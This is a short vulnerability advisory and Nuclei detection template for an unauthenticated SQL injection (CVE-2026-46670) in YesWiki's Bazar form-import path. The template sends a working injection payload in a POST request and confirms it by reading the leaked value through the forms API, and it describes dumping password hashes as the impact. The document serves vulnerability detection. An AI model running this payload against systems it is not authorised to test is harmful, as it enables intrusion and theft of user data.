YesWiki before version 4.6.4 contains an unauthenticated SQL injection vulnerability in the Bazar form-import path. The bn_id_nature parameter in FormManager::create() is concatenated into an INSERT statement without sanitization, allowing unauthenticated attackers to inject arbitrary SQL and read the full database including password hashes.
PoC
id: CVE-2026-46670
info:
name: YesWiki < 4.6.4 - Unauthenticated SQL Injection
author: 0x_Akoko
severity: critical
description: |
YesWiki before version 4.6.4 contains an unauthenticated SQL injection vulnerability in the Bazar form-import path. The bn_id_nature parameter in FormManager::create() is concatenated into an INSERT statement without sanitization, allowing unauthenticated attackers to inject arbitrary SQL and read the full database including password hashes.
impact: |
An unauthenticated attacker can dump the entire database contents including usernames, emails, and hashed passwords from the yeswiki_users table.
remediation: |
Update YesWiki to version 4.6.4 or later.
reference:
- https://github.com/YesWiki/yeswiki/security/advisories/GHSA-jwvv-qr7q-cv8j
- https://nvd.nist.gov/vuln/detail/CVE-2026-46670
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-46670
epss-score: 0.01905
epss-percentile: 0.78694
cwe-id: CWE-89
metadata:
verified: true
max-request: 3
vendor: yeswiki
product: yeswiki
shodan-query: http.html:"YesWiki"
fofa-query: body="YesWiki"
tags: cve,cve2026,yeswiki,sqli,unauth,intrusive
variables:
label: "nuclei_{{rand_text_alphanumeric(8)}}"
flow: http(1) && http(2) && http(3)
http:
- method: GET
path:
- "{{BaseURL}}/?BazaR&vue=formulaire"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(to_lower(body), "bazar", "yeswiki")'
internal: true
condition: and
- raw:
- |
POST /?BazaR&vue=formulaire HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
imported-form%5B7790000%2BASCII%28SUBSTRING%28VERSION%28%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A%22{{label}}%22%2C%22bn_template%22%3A%22%22%2C%22bn_description%22%3A%22%22%2C%22bn_condition%22%3A%22%22%7D
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 302'
internal: true
condition: and
- raw:
- |
GET /?api/forms HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'regex("\"779004[89]\":\\{|\"779005[0-7]\":\\{", body)'
- 'contains(content_type, "application/json")'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- '"(779004[89]|779005[0-7])":\{"bn_id_nature"'
# digest: 490a004630440220101c440ddbc9f8f686c19d8841adeacc752101d6a0998650cfcf6d2c77a5cde402201dac728af104f57e8ced77742228122f6c92add920f59f6658ca5f473af6a529:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.